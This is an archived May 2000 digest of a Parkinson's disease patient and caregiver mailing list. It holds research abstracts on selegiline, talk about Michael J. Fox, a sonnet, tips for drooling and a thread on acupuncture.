========================================================================= Date: Fri, 19 May 2000 15:13:58 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: PMID: 10799657: Protective effect of L-Deprenyl against apoptosis Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Protective effect of L-Deprenyl against apoptosis induced by okadaic acid in cultured neuronal cells. L-Deprenyl, an irreversible MAO-B (monoamine oxidase B, EC 1.4.3.4) inhibitor, is used for the treatment of Parkinson's disease and to delay the progression of Alzheimer's disease. L-Deprenyl also exhibits protective effects against neuronal apoptosis which are independent of its ability to inhibit MAO-B. The purpose of this study was to compare the antiapoptotic efficacy of L-deprenyl against different types of apoptotic inducers in three neuronal cell culture models. The level of apoptosis was quantified by measuring the activation of caspase-3 enzyme, which is the main apoptotic executioner in neuronal cells. MTT [3- (4,5-dimethylthiazol-2-yl) -2,5-diphenyltetrazolium bromide] and LDH (lactate dehydrogenase, EC 1.1.1.27) assays were used to demonstrate the cytotoxic response of apoptotic treatments. Our results showed that okadaic acid, an inhibitor of protein phosphatase 1 and 2A, induced a prominent increase in caspase-3 activity both in cultured hippocampal and cerebellar granule neurons as well as in Neuro-2a neuroblastoma cells. Interestingly, L-deprenyl offered a significant protection against the apoptotic response induced by okadaic acid in all three neuronal models. The best protection appeared at the concentration level of 10(-9) M. L-Deprenyl also provided a protection against apoptosis after AraC (cytosine beta-D-arabinoside) treatment in hippocampal neurons and Neuro-2a cells and after etoposide treatment in Neuro-2a cells. However, L-deprenyl did not offer any protection against apoptosis caused by serum withdrawal or potassium deprivation. Okadaic acid treatment in vivo is known to induce an Alzheimer's type of hyperphosphorylation of tau protein, formation of beta-amyloid plaques, and a severe memory impairment. Our results show that the okadaic acid model provides a promising tool to study the molecular basis of Alzheimer's disease and to screen the neuroprotective capacity of L-deprenyl derivatives. Suuronen T, Kolehmainen P, Salminen A University of Kuopio, P.O. Box 1627, FIN-70211, Kuopio, Finland Biochem Pharmacol 2000 Jun 1;59(12):1589-1595 PMID: 10799657 "http://www.ncbi.nlm.nih.gov:80/entrez/query.fcgi?cmd=Retrieve&db=PubMed&list_uids=10799657&dopt=Abstract" janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 15:14:17 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: PMID: 10778622: Effect of selegiline on cognitive functions in PD Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Effect of selegiline on cognitive functions in Parkinson's disease. BACKGROUND: Selegiline hydrocholoride, a selective MAO-B inhibitor is known to improve motor functions in Parkinson's disease (PD). The present study was undertaken to study the effect of selegiline on memory and intelligence of PD patients. MATERIAL AND METHOD: 32 patients of PD were divided in two groups: selegiline group (n = 17) received 10 mg selegiline per day and control group (n = 15) did not receive selegiline. Patients receiving trihexyphenidyl and selegiline were excluded. All other treatment remained unchanged. All patients were examined at baseline and after three months for change in UPDRS score, WAIS score, memory test and P300. RESULTS: Patients in selegiline group had less severe disease (UPDRS score 24.11 +/- 14.07) as compared to controls (UPDRS score 40.53 +/- 18.52). There was significant improvement in UPDRS score (p < 0.05), WAIS (p < 0.001) and memory (p < 0.001) in selegiline group. In the control group there was a significant prolongation of P300 latency (p < 0.05). CONCLUSION: The study suggests that selegiline improves memory functions and intelligence in PD patients in addition to motor functions. It also prevents prolongation of P300 latency which is a marker of cognitive function. J Assoc Physicians India 1999 Aug;47(8):784-6 Dixit SN, Behari M, Ahuja GK Department of Neurology, All India Institute of Medical Sciences, New Delhi. PMID: 10778622, UI: 20241090 "http://www.ncbi.nlm.nih.gov:80/entrez/query.fcgi?cmd=Retrieve&db=PubMed&list_uids=10778622&dopt=Abstract" janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 17:25:56 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: "Autoresponse" from MJF Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I sent a message to Michael J Fox at the email address on his (under construction)website, and got this from the autoresponder (just like the White House ! ) I've noticed that some folks have posted messages to him on PIEN--do we really know he reads us??? In any case, he did a great job on 20/20 and I wanted to suggest that he have links to PIEN and CARE on his website. BTW-- this was the same mesaage I got when he first announced that he would have a site, so I don't know what "in the next few months" means so far as the site being ready. It should be a good additional resource. ********* >Date: Thu, 18 May 2000 16:11:44 -0400 (EDT) >From: [log in to unmask] >Subject: Thanks for your support >To: [log in to unmask] >Precedence: bulk >X-MindSpring-Loop: [log in to unmask] >Original-recipient: rfc822;[log in to unmask] > Thank you very much for contacting me through my new website. My family >and I are extremely grateful for your warm wishes and support. Although it >is still under construction, we expect to have my official website up and >running within the next couple of months. Please check back soon. > > I am excited about the opportunity we have to cure Parkinson's disease. >Advances in research could soon ease the burden for the more than one >million Americans living with Parkinson's, and achieving the cure is >literally a matter of time. Hopefully, the Michael J. Fox Foundation for >Parkinson's Research, along with the work of other organizations, will >significantly reduce our wait. > > Donations can be sent to: > >Michael J. Fox Foundation for Parkinson's Research >840 Third Street >Santa Rosa, CA 95404 > >Thank you again for your support. > >Best wishes, > >Michael J. Fox > Camilla Flintermann, CG for Peter 82/70/55 Oxford, Ohio http://www.newcountry.nu/pd/members/camilla/one.htm <[log in to unmask]> also, on PDWebring at http://members.tripod.lycos.nl/genugten/flinterm.htm "Ask me about the CARE list for Caregivers of Parkinsonians ! " And visit the CARE webring at http://www.crosswinds.net/~caregivers/index.html ========================================================================= Date: Fri, 19 May 2000 17:44:28 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: Re: "Autoresponse" from MJF Comments: cc: [log in to unmask] In-Reply-To: <[log in to unmask]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" At 05:25 PM 2000/05/19 -0400, you wrote: >I sent a message to Michael J Fox at the email address on his (under >construction)website, and got this from the autoresponder (just like the >White House ! ) I've noticed that some folks have posted messages to him >on PIEN--do we really know he reads us??? In any case, he did a great job >on 20/20 and I wanted to suggest that he have links to PIEN and CARE on his >website. BTW-- this was the same mesaage I got when he first announced >that he would have a site, so I don't know what "in the next few months" >means so far as the site being ready. It should be a good additional >resource. i don't know if he reads us but a little bird with a big mouth whispered to me that he might could have been a member at one time or another in the not too distant past, possibly, i think, maybe i think i mentioned a few days ago that another little bird suggested to me that mjf's site would have a grand opening on may 24th which just happens to be victoria day in canada janet janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 22:22:42 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: Unicorns Mime-Version: 1.0 Content-Type: text/plain; format=flowed chuck i no longer play leapfrog even with my beloved grand divas nor do i leap metre high fences for any reason so consider myself safe from the vagaries of unicorn horns dick and i live on a small acreage just south of brisbane (about 20 minutes south) we hope to remain here for about 5 years and then move to a less strenuously demanding abode our seniors areas are scattered amongst other residential areas i think but we havent gone into our next move yet hares.....rabbits are a nono here..... come to us for their gastronomic delight about midnight and when we go dancing they greet us as we return about 11 pm we feed various varieties of birds, possums and bats it is a truly heavenly venue but requires some effort to keep it looking beautiful your life sounds busy still but interesting mediation for all sorts of acrimony??? enjoy your visit with the family we are buying a kitten today for a ninth birthday gift for ally she is beside herself with excitement as is her mum she's such a *madam* only child of single mum.. indulged and loved, old beyond her years and a delight to her grandparents she is confirming her baptismal vows tonight so we need to be there too then off dancing one of my sadnesses is that dancing may be curtailled if i have pd however one step at a time and we do while we can love to you both judy >From: Charles E Murray <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Re: Unicorns >Date: Thu, 18 May 2000 23:53:00 -0700 > >Judy, >you said, "look very caaarefully for unicorns on that fence >sounds a great place to be >golf on tap > >We don't have unicorns in Kern City, they are excluded by one of those >ordinances I mentioned, and must stop at the edge of senior section. Are >they really allowed in those small senior areas where you live? You said >your senior areas didn't have these types of laws, but if you can go >after the rabbits, surely you keep the horned ones from pestering your >seniors:-) > >About to turn in at daughter's (first night of two week stay). Pat and I >went to our Thursday night couples meeting (sort of a 12 step meeting but >for alkies and family members) . Tired after long day of moving odds and >ends to storage while the moving company handled the big stuff, but went >to meeting anyway as I had traded my little toyota Carrola for big truck >and needed to get truck back to generous friend. > >When we got to daughters an hour or so ago, our king size bed had >displaced their den furniture, it was put together and the linens in >place. Nice to have kids like this. Will have a good night's sleep, but >kicking myself for scheduling a new couple for mediation at 8:30 AM, >which is on the early side for this parkie to be at the office, let alone >with the sore muscles I'll have in the morning. > >I better turn in. > >Love >Chuck ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Fri, 19 May 2000 22:24:32 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: Unicorns Mime-Version: 1.0 Content-Type: text/plain; format=flowed sorry all i meant that to go privately i am an amateur at this new vehicle i forget to look at the *to* line judy >From: Charles E Murray <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Re: Unicorns >Date: Thu, 18 May 2000 23:53:00 -0700 > >Judy, >you said, "look very caaarefully for unicorns on that fence >sounds a great place to be >golf on tap > >We don't have unicorns in Kern City, they are excluded by one of those >ordinances I mentioned, and must stop at the edge of senior section. Are >they really allowed in those small senior areas where you live? You said >your senior areas didn't have these types of laws, but if you can go >after the rabbits, surely you keep the horned ones from pestering your >seniors:-) > >About to turn in at daughter's (first night of two week stay). Pat and I >went to our Thursday night couples meeting (sort of a 12 step meeting but >for alkies and family members) . Tired after long day of moving odds and >ends to storage while the moving company handled the big stuff, but went >to meeting anyway as I had traded my little toyota Carrola for big truck >and needed to get truck back to generous friend. > >When we got to daughters an hour or so ago, our king size bed had >displaced their den furniture, it was put together and the linens in >place. Nice to have kids like this. Will have a good night's sleep, but >kicking myself for scheduling a new couple for mediation at 8:30 AM, >which is on the early side for this parkie to be at the office, let alone >with the sore muscles I'll have in the morning. > >I better turn in. > >Love >Chuck ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Fri, 19 May 2000 22:26:36 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: apology Mime-Version: 1.0 Content-Type: text/plain; format=flowed chuck i typed my apology , deleted your note your apology came up as the next email next on my screen what a hoot judy >From: Charles E Murray <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: apology >Date: Fri, 19 May 2000 00:02:46 -0700 > >My apology to the list for inadvertently sending a post to the list that >was intended to be private. I hit reply and didn't realize the post was >going to the list until too late. I have been taking more than my share >of list time as it is, and won't belabor my apology, except to say my >face is a bit red as I type it. >Love >Chuck ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Fri, 19 May 2000 22:43:05 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Mime-Version: 1.0 Content-Type: text/plain; format=flowed all does exercise have the same effect for some judy >From: "Robert A. Fink, M. D." <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Re: People Interested in Alternative Medicine >Date: Fri, 19 May 2000 09:17:17 -0700 > >Date sent: Thu, 18 May 2000 23:37:13 -0700 >Send reply to: Parkinson's Information Exchange Network ><[log in to unmask]> >From: Charles E Murray <[log in to unmask]> >Subject: Re: People Interested in Alternative Medicine >To: [log in to unmask] > > > It is my understanding that our western medical science has no clear > > understanding of why acupuncture relieves pain (only that this has > > been clearly established). Until our science can unravel this > > mystery, wouldn't it be more prudent to say that the western science > > of medicine has not been able to validate claims that acupuncture has > > a therapeutic effect in the treatment of illness? > >Chuck, > >"Western medical science" has developed at least a fairly strong >hypothesis as to how acupuncture works. There are studies which >show that if one takes patients who achieve good pain relief from >acupuncture and then inject them with Naloxone, an opiate antagonist, >the pain returns immediately. Thus, it is believed that acupuncture >leads to pain relief by the stimulation of the release of the endogenous >pain-relievers (endorphins) inside our brains. > >The above is not "gospel" yet, but it is a strong hypothesis. > > >Best, > >Bob > > >********************************************** >Robert A. Fink, M. D., F.A.C.S., P. C. >2500 Milvia Street Suite 222 >Berkeley, California 94704-2636 >Telephone: 510-849-2555 FAX: 510-849-2557 >WWW: http://www.dovecom.com/rafink/ > >mailto:[log in to unmask] > >"Ex Tristitia Virtus" > >********************************************* ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Fri, 19 May 2000 18:52:01 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine Bob - The taste sensation is what did me in. I had a TIA about 3 months prior to that and I was frightened out of my wits, but my BP was being controlled with meds. So when I couldn't taste sweet, sour, or salt, my doctor diagnosed Bell's Palsy. The cosmetic surgeon to whom I went while I was still in the healing stages, told me he wouldn't touch me. I suppose I was so depressed from looking so ugly (I modelled at one time), I don't know if he meant right then, or ever. I really do appreciate your information, as well as input from others. Jo Ann from Houston ========================================================================= Date: Fri, 19 May 2000 18:52:01 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: Returning to work after disability? Barb M - Does your area have a TV program that caters to consumer advocates? Did you write your attorney general?. It seems to me it is illegal to go into someone's bank account, and it seems either illegal or harrassment for someone to threaten you with cutting out your benefits. Somehow, somewhere this "Big Brother" shit has got to stop. I wish you the best in this, and even though it does not seem fair to me at least, surely there is somewhere you can go for help. Can you tell that this has made me angrier than "you know who" ever has? Jo Ann from Houston ========================================================================= Date: Fri, 19 May 2000 16:02:31 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Joan Hartman <[log in to unmask]> Subject: Re: LIST: M.J.F ON AND OFF MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Re MJF and meds........Don's right.......they simply stopped the filming of the interview, let MJF take his medication and get back to his "normal" and then resumed the filming of the interview....unless you were there, we have no way of knowing whether the time in between taping for the meds to kick in was 5 minutes or one or two hours......Joan Hartman .... ----- Original Message ----- From: Don McKinley <[log in to unmask]> To: <[log in to unmask]> Sent: Friday, May 19, 2000 9:32 AM Subject: LIST: M.J.F ON AND OFF > this will be short and sweet. M.J.F. in not diff from us. i thought all PWP'S wear smart just a little slow on he up take. did you think the news could just set there for 45min, and do nothing. they just fast tracked it up. as i used to video weddings. i would stop at times to same time and film but it looked fast. that is what took place. he postal took 45 min. > > I.Y.Q. DON AND VIVIAN > ========================================================================= Date: Fri, 19 May 2000 18:59:42 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: janet paterson <[log in to unmask]> Subject: NEWS: Canadian identity 'stronger than ever' Comments: cc: [log in to unmask] Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Canadian identity 'stronger than ever' Friday May 19, 2000 - Canada's culture is so deeply rooted, complex and unlike any other in the developed world that it is not at risk of being overwhelmed by that of the United States, says philosopher John Ralston Saul. In a speech yesterday, cryptically entitled The Inclusive Shape of Complexity, Mr. Saul said Canada is steeped in a tradition of tolerance and restraint that has allowed it to weather crises that would have divided and crippled other countries. He said it is important to look beyond the accepted definitions of culture and examine the very foundations of Canadian life and politics in order to see that Canada is entirely unique and well adapted to overcome even the most difficult situations. Mr. Saul's speech opened The Canadian Distinctiveness into the 21st Century conference, a three-day meeting being held at the University of Ottawa. Canadians are uniquely adapted to withstand the barrage of other, larger cultures and philosophies without buckling, Mr. Saul said, adding that Canadians are adept at encompassing the best elements of other cultures without compromising their own. "Canadians have got used to living on several levels at once," he said. "This is an astonishingly sophisticated population. They are able to listen on a daily basis to things that actually have nothing to do with them, take them in, and go on and do something else. No American is asked to imbibe one thing and do another. Canadians do it almost effortlessly." He said Canada has existed "on the margins of western democratic philosophy" and its traditional nation-state model, adding that Canadians should be proud of the country's legacy of flexibility and genuine non-violent democracy. "This is the least European country in the world and the most American country in North America. It is a sign of great self-confidence that we can live with this complexity." Working only from notes and speaking in equal measures of English and French for more than 45 minutes, Mr. Saul, who is married to Governor General Adrienne Clarkson, said Canada's tolerance is rooted in the 400 years that aboriginal, French and English peoples have worked together. However, he said it is perhaps best highlighted by the decision in 1849 of the government of Lower Canada in Montreal not to use troops to quell riots against British rule. At the same time in Europe and in the United States, armies were frequently turned against their own people to suppress anti-government demonstrations. "Since Confederation, this country has killed in civil strife approximately 85 people," he said, adding that Canada possesses all of the elements -- race, religion, socio-economic -- that "should have led to violent catastrophe. This is an extremely rare characteristic for a nation state. It is an astonishing that after 125 years, you can name them all -- all 85. "Restraint was the element that (allowed) a place as complex as this to survive the civil strife that gripped the countries of Europe and our neighbours to the south," he said. He later added: "Even the fact that we invented peacekeeping and have become experts in it is an example of our commitment and ability to find a new way." Following his speech, Mr. Saul told journalists that it is important for everyone to interpret history through their own experiences as Canadians and not those of "monolithic cultures" of Europe. "All I'm doing is providing the function which a writer is supposed to provide of reminding people practically, technically and factually of where it (this willingness to compromise) comes from, which then gives people tools to say 'This is why I'm a moderate,"' Mr. Saul said. And Canadians around the world are becoming increasingly comfortable with their identities, he added. "I think Canadian culture -- both in the narrow sense and in the large sense -- is stronger than it has ever been," Mr. Saul said. "The ability that Canadians have found to affirm themselves both in the formal cultural sense (books, etc.) is greater than it has ever been. ... But also their way of kind of thinking among themselves I think is very strong. They may not have found ways of enunciating it yet, but it is very strong." James Baxter The Ottawa Citizen http://www.ottawacitizen.com/national/000519/4130104.html janet paterson 53 now / 41 dx / 37 onset 613 256 8340 / PO Box 171 Almonte Ontario K0A 1A0 Canada visit my website "a new voice" at: http://www.geocities.com/janet313/ ========================================================================= Date: Fri, 19 May 2000 19:29:12 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Ivan M Suzman <[log in to unmask]> Subject: SLOW meds for MJF?? MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi "PIEN'ers" : I betcha that if MJF had DIspersible Madopar, the TV crews would have waited only 15 minutes. But no, if they waited 45 minutes to resume the show, you can bet your last dollar that all poor Michael had was our trusty, dusty SLOW pills! Hey, MJF, which did you have available? YOU have our support as we struggle together, all of us PWP's, for GLOBAL RELEASE of unobtainable QUICK, liquid medicines! Ivan 50/39/36 On Fri, 19 May 2000 16:02:31 -0700 Joan Hartman <[log in to unmask]> writes: > Re MJF and meds........Don's right.......they simply stopped the > filming of > the interview, let > MJF take his medication and get back to his "normal" and then > resumed the > filming of the interview....unless you were there, we have no way of > knowing > whether the time in between taping for the meds to kick in was 5 > minutes or > one or two hours......Joan Hartman > .... > ----- Original Message ----- > From: Don McKinley <[log in to unmask]> > To: <[log in to unmask]> > Sent: Friday, May 19, 2000 9:32 AM > Subject: LIST: M.J.F ON AND OFF > > > > this will be short and sweet. M.J.F. in not diff from us. i > thought all > PWP'S wear smart just a little slow on he up take. did you think the > news > could just set there for 45min, and do nothing. they just fast > tracked it > up. as i used to video weddings. i would stop at times to same time > and film > but it looked fast. that is what took place. he postal took 45 min. > > > > I.Y.Q. DON AND > VIVIAN > > ^^^^^^ WARM GREETINGS FROM ^^^^^^^^^^^^ :-) Ivan Suzman 50/39/36 [log in to unmask] :-) Portland, Maine land of lighthouses deg. F :-) ******************************************************************** ========================================================================= Date: Sat, 20 May 2000 08:11:30 +0800 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Dennis Greene <[log in to unmask]> Subject: Poem: Not specifically PD MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Uncertainty Principle When we were young to see was to believe, we knew that sand was white and water blue, and then we found that colours could change hue, and thought our younger selves a touch naive. Now we have learned that time and life deceive, that time relates, and life's reality is Heisenberg deduced uncertainty, no matter what our senses may perceive. And so, again, we find ourselves at sea watching the waves break on a narrow beach wondering if tomorrow there will be anything solid left within our reach and will we find it in us to be brave when we are called to ride the breaking wave. Dennis Greene ========================================================================= Date: Fri, 19 May 2000 21:09:26 -0500 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Stan or Joan Snyder <[log in to unmask]> Subject: Re: poem & website MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dennis-I know that I'm supposed to be mindlessly entertaining myself but I had to go & read your beautiful poem and frankly-it's so wonderful that I'm literally gasping for breath. Your talent is such a gift to us all. Also, Janet-not meaning to rain on your parade, but I think that the MJFox Foundation website launches a day earlier-on Tuesday, May 23rd. I'm hoping that my info is correct as I have 2 interviews with 2 different TV stations on Wednesday May 24th, to coincide with his last Spin City episode. Wish me luck!! -- Joan E. Snyder 48/10 [log in to unmask] <http://members.tripod.lycos.nl/genugten/snyder.htm> "Hang tough.....no way through it but to do it." Chris-in-the-Morning (Northern Exposure) ========================================================================= Date: Fri, 19 May 2000 22:13:37 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Jo Ann Coen <[log in to unmask]> Subject: Re: Poem: Not specifically PD Dennis - Did you compose that poem? It's great. Do it some more Jo Ann from Houston ========================================================================= Date: Fri, 19 May 2000 22:16:43 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Rose Rowton <[log in to unmask]> Subject: Any help for drooling ? MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi, My husband has PD and has so much saliva in his mouth, he drools constantly wetting the front of his shirts, and if he bends over it just comes right out of his mouth. He said he cannot control it. Does anyone know if something can be done about it. Thanks in advance Rose ========================================================================= Date: Fri, 19 May 2000 22:35:12 -0400 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Michel Margosis <[log in to unmask]> Subject: Re: Alternative Medicine MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Shortly after my carpal tunnel operation, I met a trained Korean acupuncturist who was also trained as a nurse in Western medicine. She needled me for pain due to carpal tunnel in the other hand and arthritis. I have had no pains from these sources since then, and that was over ten years ago. I was then working at the FDA, and I recall that about ten to twelve years ago, the FDA did have a study on acupuncture and did find that endomorphins were being releases from the punctured sites. Some info on the subject should be available from FDA or/and NIH. The philosophy of acupuncture is quite interesting too and if you could see a map of acupuncture points, you would probably see a well documented map that evolved over several thousand years. I believe it could significantly reduce pain even to the point where it can be used as a sole anesthetic in surgery. Michel ========================================================================= Date: Fri, 19 May 2000 19:37:38 -0700 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Marling McReynolds <[log in to unmask]> Subject: Re: "Autoresponse" from MJF In-Reply-To: <v0310280bb54b60d6759e@[134.53.34.64]> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT I don't know if he reads what we write on the list, but in an interview he said he had done a web search and viewed all the sites he could that had to do with PD. I suppose this to mean he knows about the archives site as well as our personal sites. Marling 51/5 still trying to laugh ========================================================================= Date: Fri, 19 May 2000 22:41:13 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Eleanor Noone <[log in to unmask]> Subject: Re: Any help for drooling ? MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Rose, Ask his doctor about Detrol or Ditripan. Mom takes Ditripan and it works pretty well. Sometimes there's a problem late in the afternoon or evening or when her medication wears off and she gets shaky. We tried Detrol, but Mom has strange reactions to some meds, including this one. But, I'm sure you know that what works for one PWP doesn't always work for another, so check with his doctor and good luck. Eleanor ========================================================================= Date: Sat, 20 May 2000 03:00:42 GMT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Judy George <[log in to unmask]> Subject: Re: Poem: Not specifically PD Mime-Version: 1.0 Content-Type: text/plain; format=flowed dennis thank you for the reminder sometimes i still feel like a six year old and behave like one and it is refresshing and fun however there is a reality isnt there judy >From: Dennis Greene <[log in to unmask]> >Reply-To: Parkinson's Information Exchange Network ><[log in to unmask]> >To: [log in to unmask] >Subject: Poem: Not specifically PD >Date: Sat, 20 May 2000 08:11:30 +0800 > >Uncertainty Principle > >When we were young to see was to believe, >we knew that sand was white and water blue, >and then we found that colours could change hue, >and thought our younger selves a touch naive. >Now we have learned that time and life deceive, >that time relates, and life's reality >is Heisenberg deduced uncertainty, >no matter what our senses may perceive. >And so, again, we find ourselves at sea >watching the waves break on a narrow beach >wondering if tomorrow there will be >anything solid left within our reach >and will we find it in us to be brave >when we are called to ride the breaking wave. > > >Dennis Greene ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ========================================================================= Date: Sat, 20 May 2000 13:14:45 +1000 Reply-To: Mary Jones <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Mary Jones <[log in to unmask]> Subject: Re: Any help for drooling ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi. In the PD Clinic I work in we try non medication solutions as a first option. Sucking a boiled sweet sometimes helps. Conscious attention to swallowing (the swallow reflex is slowed as all movements) Using a sweat band on the wrist (looks better than a handkerchief and leaves the hands free). This also acts as a cue eventually to remind the PWP to swallow as they start to raise the wrist up to wipe the mouth. Hope something here may help. Mary ----- Original Message ----- From: Rose Rowton <[log in to unmask]> To: <[log in to unmask]> Sent: Saturday, 20 May 2000 12:16 Subject: Any help for drooling ? > Hi, > My husband has PD and has so much saliva in his mouth, he drools constantly > wetting the front of his shirts, and if he bends over it just comes right out > of his mouth. He said he cannot control it. Does anyone know if something > can be done about it. > Thanks in advance > Rose > ========================================================================= Date: Fri, 19 May 2000 23:22:01 -0400 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Camilla Flintermann <[log in to unmask]> Subject: Re: Poem: Not specifically PD In-Reply-To: <005001bfc1ef$f4100ba0$25453bcb@number1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Dennis, what a deeply beautiful sonnet---a difficult and demanding form, but seemingly so effortlessly achieved. I hope others listmembers who enjoy poetry will visit your website where you have gathered so many poems to share--it is well worth the trip---and thanks for sharing this one! Find more of Dennis' poetry at http://members.networx.net.au/~dennisg/ >Uncertainty Principle > >When we were young to see was to believe, >we knew that sand was white and water blue, >and then we found that colours could change hue, >and thought our younger selves a touch naive. >Now we have learned that time and life deceive, >that time relates, and life's reality >is Heisenberg deduced uncertainty, >no matter what our senses may perceive. >And so, again, we find ourselves at sea >watching the waves break on a narrow beach >wondering if tomorrow there will be >anything solid left within our reach >and will we find it in us to be brave >when we are called to ride the breaking wave. > > >Dennis Greene Camilla Hewson Flintermann <[log in to unmask]> http://www.newcountry.nu/pd/members/camilla/one.htm also on PDWebring at : http://members.tripod.lycos.nl/genugten/flinterm.htm "...everywhere I go, I find that a poet has been there before me..." ...Sigmund Freud ========================================================================= Date: Fri, 19 May 2000 20:50:09 -0700 Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Charles E Murray <[log in to unmask]> Subject: Re: People Interested in Alternative Medicine MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Bob, you wrote (snip)> Thus, it is believed that acupuncture > leads to pain relief by the stimulation of the release of the > endogenous > pain-relievers (endorphins) inside our brains. > > The above is not "gospel" yet, but it is a strong hypothesis. > This is fascinating. I have wonderful experiences with endorphins as a former marathon runner. After 4 to 8 miles of running I would experience a "high" beyond anything alcohol ever provided, and even beyond the effects of my limited experiences with drugs (such as a big needle full of morphine I got for a kidney stone). Several time during marathons I developed bleeding foot blisters, but never noticed them till long after finishing the run. We know that aerobic activity triggers the release of these very nifty chemicals, probably related to the time when survival depended upon the ability to happily run longer than whatever was chasing us, and these folks were bare foot. But why would a needle in a few very specific points on our anatomy trigger brain chemical release? Do we have a hypothesis that includes the reason these 